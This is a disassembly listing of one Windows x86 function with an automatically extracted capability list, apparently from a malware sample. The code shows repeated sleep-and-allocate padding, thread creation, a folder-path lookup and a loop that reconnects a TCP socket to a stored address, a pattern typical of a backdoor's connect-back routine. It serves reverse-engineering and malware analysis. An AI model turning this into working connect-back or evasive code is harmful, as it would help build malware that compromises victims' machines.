Function at 0x401ac0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Get common file path
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1cc
mov eax, dword [0x412018]
xor eax, esp
mov dword [esp + 0x1c8], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 0x1987
call esi
call fcn.00402490
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
xor edi, edi
add esp, 4
cmp eax, edi
je 0x401b08
mov byte [eax], 0
mov dword [esp + 0x20], eax
jmp 0x401b0c
mov dword [esp + 0x20], edi
push 0x64
call esi
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
cmp eax, edi
je 0x401b27
mov byte [eax], 6
mov dword [esp + 0x18], eax
jmp 0x401b2b
mov dword [esp + 0x18], edi
push 0x64
call esi
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
cmp eax, edi
je 0x401b46
mov byte [eax], 0
mov dword [esp + 0x1c], eax
jmp 0x401b4a
mov dword [esp + 0x1c], edi
push 0x64
call esi
push 0x970
call esi
mov eax, dword [ebp + 0x10]
push 1
mov dword [0x4124fc], eax
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
cmp eax, edi
je 0x401b74
mov byte [eax], 6
mov dword [esp + 0x14], eax
jmp 0x401b78
mov dword [esp + 0x14], edi
push 0x64
call esi
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
cmp eax, edi
je 0x401b91
mov byte [eax], 0
mov ebx, eax
jmp 0x401b93
xor ebx, ebx
push 0x64
call esi
push edi
push edi
push edi
push 0x409dc0
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
cmp eax, edi
je 0x401bba
mov byte [eax], 6
mov edi, eax
push 0x64
call esi
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x401bcf
mov byte [eax], 0
push 0x64
call esi
mov eax, 0x414c40
lea edx, [eax + 1]
jmp 0x401be0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401be0
sub eax, edx
jne 0x401c0f
jmp 0x401bf0
call fcn.00406990
push 0x2742
call esi
mov eax, 0x414c40
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401c04
sub eax, edx
je 0x401bf0
call fcn.00402490
push 0x414928
push 0
push 0
push 9
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push 0x40e7bc
push 0x104
push 0x414928
call dword [sym.imp.MSVCR90.dll_strcat_s]
mov ecx, dword [esp + 0x2c]
add esp, 0xc
push ecx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push 0x64
call esi
mov edx, dword [esp + 0x18]
push edx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push 0x64
call esi
mov eax, dword [esp + 0x1c]
push eax
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push 0x64
call esi
mov ecx, dword [esp + 0x14]
push ecx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push 0x64
call esi
push ebx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push 0x64
call esi
push edi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push 0x64
call esi
call fcn.00402490
push 5
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x30], esp
push 0x40e7c0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
call fcn.00407d60
mov eax, 0x414a30
add esp, 0x20
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401cc8
sub eax, edx
jne 0x401cf2
call fcn.004068a0
push 0x29cc
call esi
mov eax, 0x414a30
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401ce7
sub eax, edx
je 0x401cd3
push 0x414a30
lea ecx, [esp + 0x28]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x409e70
push 0
push 0
call ebx
lea edx, [esp + 0x40]
push edx
push 0x102
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401d34
push 0
call dword [sym.imp.MSVCR90.dll_exit]
call fcn.00402490
call fcn.00401ee0
push 0
push 0
push 0
push 0x409f80
push 0
push 0
call ebx
cmp dword [esp + 0x3c], 0x10
mov eax, dword [esp + 0x28]
jae 0x401d5e
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [0x414518], eax
movzx eax, word [0x4120f0]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, 2
mov word [0x414516], ax
mov word [0x414514], cx
call fcn.00402490
call fcn.00402490
call fcn.004089d0
lea esp, [esp]
cmp byte [0x41461c], 0
jne 0x401eca
call fcn.004023b0
cmp dword [0x414ef4], 0
je 0x401dc6
mov ecx, 0x414ea0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::close_void_]
cmp dword [0x414f98], 0
je 0x401dda
mov ecx, 0x414f48
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::close_void_]
call fcn.00402490
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
push 0x414514
push eax
mov dword [0x414524], eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x401e25
mov edx, dword [0x414524]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x426e
mov dword [0x414524], 0xffffffff
call esi
jmp 0x401da0
push 1
mov byte [0x41461c], 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x401e41
mov byte [eax], 0
mov edi, eax
jmp 0x401e43
xor edi, edi
push 0xc8
call esi
push edi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push 0x20d
call esi
call fcn.004023b0
push 0
push 0
push 0
push 0x406810
push 0
push 0
call ebx
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x401e85
mov byte [eax], 0
mov edi, eax
jmp 0x401e87
xor edi, edi
push 0xc8
call esi
push edi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
call fcn.004089d0
push 0x9c4
call esi
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x401eb8
mov byte [eax], 0
mov edi, eax
jmp 0x401eba
xor edi, edi
push 0xc8
call esi
push edi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push 0x426e
call esi
jmp 0x401da0